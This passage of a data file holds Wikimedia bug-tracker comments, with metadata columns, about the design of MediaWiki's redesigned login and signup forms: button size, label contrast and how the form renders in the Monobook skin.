+Fitts' law (often cited as Fitts's law) is a model of human movement primarily used in human–computer interaction and ergonomics that predicts that the time required to rapidly move to a target area is a function of the distance to the target and the size of the target. 
+
+Please Read : http://en.wikipedia.org/wiki/Fitts's_law",,,1367178111,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+209203,"""Log in"" button is oversized in redesigned user login form","**swalling** wrote:
+
+(In reply to comment #2)
+> (In reply to comment #1)
+> > This seems pretty subjective to me. Of course it's going to seem large
+> > compared to the previous tiny button. The perception of ""normal"" is shaped by
+> > what you're used to seeing Monobook [...]
+> 
+> Does Vector have oversized buttons elsewhere?
+
+That is one of those ""How long have you been beating your wife?"" questions. 
+
+The buttons are not oversized. They seem that way because they are larger than other buttons in Vector or Monobook, but that does not mean it is wrong. It is simply new, and that's because this is a redesign. In a redesign, some things are going to be different. 
+
+Primary submit buttons of this larger size are a part of the designs we A/B test ed on create account, and they work.",,,1367175740,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+209198,"""Log in"" button is oversized in redesigned user login form","(In reply to comment #1)
+> This seems pretty subjective to me. Of course it's going to seem large
+> compared to the previous tiny button. The perception of ""normal"" is shaped by
+> what you're used to seeing Monobook [...]
+
+Does Vector have oversized buttons elsewhere?",,,1367174229,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,1
+209192,"""Log in"" button is oversized in redesigned user login form","**swalling** wrote:
+
+This seems pretty subjective to me. Of course it's going to seem large compared to the previous tiny button. The perception of ""normal"" is shaped by what you're used to seeing Monobook, where all buttons are the same small size, and don't follow modern web usability patterns, like making primary targets larger than secondary actions. 
+
+As far as comparing to other sites: yes, the minutiae of a design is going to vary widely from site to site. We look to best practices on other sites not to copy the size and exact style of their buttons, but as examples of what high-level patterns to follow. 
+
+Making targets large and easy to hit on an interface like login, that you want to move through very quickly and go on to what you were doing, is a big help.",,,1367171644,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,False,,,-18,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+49777,Readability of login and signup forms in low contrast / low light could be improved,"We should explicitly investigate the appearance of the forms in low-light / low contrast environments and see if we could improve it. We could try making the placeholder text a bit darker, and ensure that the labels are darker than the placeholder text.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47698",Low,25.0,1367087160,1369947544.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,False,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_description,resolved,True,c2,1,False,False,True,-18,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+208624,Readability of login and signup forms in low contrast / low light could be improved,Related URL: https://gerrit.wikimedia.org/r/66172 (Gerrit Change I01dd960d673a37d519ae8805db1fbbcb5a4306c9),,,1369948296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+208618,Readability of login and signup forms in low contrast / low light could be improved,Related URL: https://gerrit.wikimedia.org/r/66164 (Gerrit Change I01dd960d673a37d519ae8805db1fbbcb5a4306c9),,,1369947139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+208612,Readability of login and signup forms in low contrast / low light could be improved,Related URL: https://gerrit.wikimedia.org/r/66047 (Gerrit Change I01dd960d673a37d519ae8805db1fbbcb5a4306c9),,,1369866194,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+208605,Readability of login and signup forms in low contrast / low light could be improved,"By ""text color"" I meant the text of regular fields (e.g. input type text).",,,1369864639,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+208600,Readability of login and signup forms in low contrast / low light could be improved,"See also bug 47698, which is about Monobook issues.  The issue is more noticeable there, due to a slight background on the Monobook login screen.
+
+They also noted that the button text is light in non-Vector skins, particularly given that it's overlaid on gray.  I already did a fix for that (not affecting text color).",,,1369864611,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+208596,Readability of login and signup forms in low contrast / low light could be improved,"For future reference, WORKSFORME means the current behavior is correct (i.e. no change is required).",,,1369861640,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+208592,Readability of login and signup forms in low contrast / low light could be improved,Approved from Design. Darken away!,,,1369861171,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+208588,Readability of login and signup forms in low contrast / low light could be improved,"Created attachment 12420
+darker Agora labels in Ubuntu Firefox
+
+Example of darker labels. I changed .mw-ui-vform > div label to color: #4A4A4A;
+
+**Attached**: {F10330}",,,1369853240,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1
+208582,Readability of login and signup forms in low contrast / low light could be improved,"Created attachment 12419
+default form appearance in Ubuntu Firefox
+
+**Attached**: {F10329}",,,1369851695,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+208577,Readability of login and signup forms in low contrast / low light could be improved,"In Firefox, from light to dark:
+
+* The text field border is #C9C9C9
+  This is $agoraGray in the Compass sass files from which we build the Agora CSS.
+
+* placeholder text is #898989
+  This isn't explicitly styled but it varies with the text input color, Firefox's rule is opacity: 0.54.
+
+* label text is #7D7D7D
+  I think this is darken($agoraGray, 30%) in sass
+
+* text input is #252525
+  This is $agoraTextColor in sass.
+
+all on a #FFFFFF background.
+
+I think the labels should be darker. darken($agoraGray, 50%) makes them #4a4a4a.  But I'm not a designer.",,,1369734728,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-zv6e3pnypv7n3pvrgpwj,task_subcomment,,True,c2,1,False,,,-14,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+49698,User login and signup forms don't look great in Monobook,"Compare:
+
+* http://piramido.wmflabs.org/wiki/Special:UserLogin?type=signup&useNew=1&useskin=monobook
+
+* http://piramido.wmflabs.org/wiki/Special:UserLogin?type=signup&useNew=1&useskin=vector
+
+The blue button is no longer blue. And there's a grey background with strange padding. Maybe some other quirks.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47777",Low,25.0,1366935660,1387937152.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-72zefbcobhxumhmw42cx,task_description,resolved,True,c2,1,True,False,False,-18,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+229960,User login and signup forms don't look great in Monobook,"Change 103558 merged by jenkins-bot:
+Remove grey background from login/createaccount form on Monobook
+
+https://gerrit.wikimedia.org/r/103558",,,1387936046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+229955,User login and signup forms don't look great in Monobook,"With https://gerrit.wikimedia.org/r/#/c/103498/ (fix for bug 55554, button colors) and https://gerrit.wikimedia.org/r/#/c/103558/ (fixing grey background) I think we could consider this fixed.",,,1387915062,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,3,True,,,16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+229949,User login and signup forms don't look great in Monobook,"Change 103558 had a related patch set uploaded by Bartosz Dziewoński:
+Remove grey background from login/createaccount form on Monobook
+
+https://gerrit.wikimedia.org/r/103558",,,1387914978,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,3,False,,,16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+229944,User login and signup forms don't look great in Monobook,"(In reply to comment #18)
+> (In reply to comment #17)
+> > * A significant portion of third party sites still use monobook.
+> 
+> I doubt they're using a modern version of MediaWiki, and certainly not
+> 1.22alpha. Do you have any statistics that suggest otherwise?
+
+1.22alpha eventually becomes 1.22.0
+
+According to http://wikiapiary.com/wiki/Skin:Main_Page monobook is most common (then again, if you sum the statistics, the result is significantly more than the total number of sites they surveyed, so I don't know if I trust that).
+
+Anecdotally I still see quite a few using monobook, but ancedotal doesn't mean much. However its not just that the login form should look good in monobook - it should look good in any skin. Core features should not require a specific skin to look ok in.",,,1372356147,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-9,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1
+229938,User login and signup forms don't look great in Monobook,"(In reply to comment #17)
+> * A significant portion of third party sites still use monobook.
+
+I doubt they're using a modern version of MediaWiki, and certainly not 1.22alpha. Do you have any statistics that suggest otherwise?",,,1372355532,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,True,,,-9,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+229934,User login and signup forms don't look great in Monobook,"Re bug 50304 comment 1:
+
+>Like I say on 47698, we're open to suggestions or patches for Monobook, but
+>considering the only way to see it is to either A) use a URL parameter or B)
+>set the site skin to Monobook by default, which we no longer do on Wikimedia
+>sites, it's not a big priority for us.
+
+* A significant portion of third party sites still use monobook.
+**In particular, the defaults don't change on upgrade. If you installed mediawiki not all that long ago, you probably are still using monobook.
+*Features in core should be skin agnostic.",,,1372355151,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-9,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+229931,User login and signup forms don't look great in Monobook,"**swalling** wrote:
+
+%%%*** Bug 50304 has been marked as a duplicate of this bug. ***%%%",,,1372354737,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0
+229930,User login and signup forms don't look great in Monobook,"(In reply to comment #14)
+> The biggest issue is the background colour that is forced for the login form,
+> but which is different to the page background, making it look very strange.
+
+It's like that for the old form too, but the old form has a border.  We can probably either put back a border or remove the color override from the new form.
+
+> Personally, I don't have a strong feeling about what colours the buttons
+> should
+> be, but I do have two general observations:
+> * Grey buttons with grey borders (in particular with grey text, too) look
+> like
+> they are disabled, so should be avoided.  More contrast between the
+> border/background (and darker text in the case of the 'Join Wikipedia'
+> button)
+> would resolve this, if the grey colour is to be retained.
+
+Yeah, I agree.  The login button already looks darker (though that was unintentional).  However, I think it's worth making all non-Vector mediawiki.ui button text black, at least for now:
+
+https://gerrit.wikimedia.org/r/66044
+
+> I acknowledge that there may be a period of time between this new page going
+> live and the rest of the interface being updated, but so long as the plan is
+> to
+> update all other buttons to match then there isn't necessarily a problem with
+> them being out-of-sync for a while.  If there is no plan to update the other
+> buttons on the site, then this change is more worrying.
+
+As you said, it will take some time.  However, it's already in progress for some forms, and we'd definitely like to roll it out everywhere in time (e.g. https://gerrit.wikimedia.org/r/#/c/65346/)
+
+> Finally, the input box labels is pretty faint, but perhaps this is because
+> the placeholder text serves the same purpose (though this is only visible if 
+> the user's browser supports it, of course).
+
+Yes, this is a known issue (bug 47777), but it looks worse in Monobook because of the slight background.",,,1369864504,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-13,True,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+229929,User login and signup forms don't look great in Monobook,"The biggest issue is the background colour that is forced for the login form, but which is different to the page background, making it look very strange.
+
+Personally, I don't have a strong feeling about what colours the buttons should be, but I do have two general observations:
+* Grey buttons with grey borders (in particular with grey text, too) look like they are disabled, so should be avoided.  More contrast between the border/background (and darker text in the case of the 'Join Wikipedia' button) would resolve this, if the grey colour is to be retained.
+* Buttons style should be consistent throughout the application - therefore changes to button style (as distinct from colour, where variations often indicate differences in functionality) should be applied across the whole interface.
+
+This applies to all skins (including Vector).
+
+I acknowledge that there may be a period of time between this new page going live and the rest of the interface being updated, but so long as the plan is to update all other buttons to match then there isn't necessarily a problem with them being out-of-sync for a while.  If there is no plan to update the other buttons on the site, then this change is more worrying.
+
+Finally, the input box labels is pretty faint, but perhaps this is because the placeholder text serves the same purpose (though this is only visible if the user's browser supports it, of course).",,,1369823508,,PHID-USER-3ws7v5cvttwvsyk43hpf,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-13,True,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+229926,User login and signup forms don't look great in Monobook,"We have gotten feedback from Vector users, in addition to quantitative data.
+
+We've been trialling the button colors (on account creation) in Vector since October, we've done A/B tests, we've gotten informal feedback much of that time, we just published a blog post asking people on all WMF projects to try it, and we just did an IRC session about it where multiple people expressed positive feedback of the Vector version.
+
+People have raised various interface issues (including color in other parts of the UI, e.g. bug 47777, which we're looking into)
+
+But both user feedback and the data is in favor of the button colors for Vector.",,,1367277986,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+229923,User login and signup forms don't look great in Monobook,"(In reply to comment #11)
+> As for Monobook, we are going to hold off on adding the button colors until
+> we hear from more Monobook users regarding what they want.
+
+Can we hold off on the button colors for Vector until we hear from more Vector users?",,,1367276090,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1
+229918,User login and signup forms don't look great in Monobook,"First, a quick note.  Currently there are only two versions of the mediawiki.ui styles, Vector and non-Vector.  It does not have to stay that way.  Other core skins can propose and implement their own stylings for the module.
+
+As for Monobook, we are going to hold off on adding the button colors until we hear from more Monobook users regarding what they want.",,,1367271406,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+229912,User login and signup forms don't look great in Monobook,"**swalling** wrote:
+
+(In reply to comment #9)
+> (In reply to comment #8)
+> > Do you have suggestions for what to do? Like I said before, we're willing to
+> > consider improvements to the forms in the skin, but I'd like to hear what
+> > specific changes you'd like, as a Monobook user.
+> 
+> When this bug was filed, it wasn't clear that parts of the interface had been
+> intentionally changed for Monobook.
+> 
+> Vector and Monobook are very similar in design. I don't understand why it's
+> acceptable to use bright green and blue in Vector, but not in Monobook.
+
+Okay, so you're saying you want the button colors to be the same in Monobook. That's reasonable I think. We assumed Monobook users would want the opposite, since it's a plainer interface not typically used other than by power users. 
+
+Anything else?",,,1367252199,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+229907,User login and signup forms don't look great in Monobook,"(In reply to comment #8)
+> Do you have suggestions for what to do? Like I said before, we're willing to
+> consider improvements to the forms in the skin, but I'd like to hear what
+> specific changes you'd like, as a Monobook user.
+
+When this bug was filed, it wasn't clear that parts of the interface had been intentionally changed for Monobook.
+
+Vector and Monobook are very similar in design. I don't understand why it's acceptable to use bright green and blue in Vector, but not in Monobook.",,,1367250340,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,True,,,-18,True,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+229899,User login and signup forms don't look great in Monobook,"**swalling** wrote:
+
+(In reply to comment #6)
+> (In reply to comment #5)
+> > The grey button was implemented under the theory that non-Vector users are
+> > likely to prefer a more low-key interface.
+> 
+> It was intentional? Why is it acceptable to use the blue and green in Vector
+> but not in Monobook?
+
+Let's get back to what you think might actually be done differently in Monobook. 
+
+Do you have suggestions for what to do? Like I said before, we're willing to consider improvements to the forms in the skin, but I'd like to hear what specific changes you'd like, as a Monobook user.",,,1367201979,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+229892,User login and signup forms don't look great in Monobook,"(In reply to comment #6)
+> It was intentional? Why is it acceptable to use the blue and green in Vector
+> but not in Monobook?
+
+It's normal for different skins to look different.
+
+That doesn't mean the way they look is final.  We can add the colors to additional skins if they're consensus to do so.  Alternatively, there are other possible ways non-Vector skins could choose to render these classes.",,,1367127948,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+229886,User login and signup forms don't look great in Monobook,"(In reply to comment #5)
+> The grey button was implemented under the theory that non-Vector users are
+> likely to prefer a more low-key interface.
+
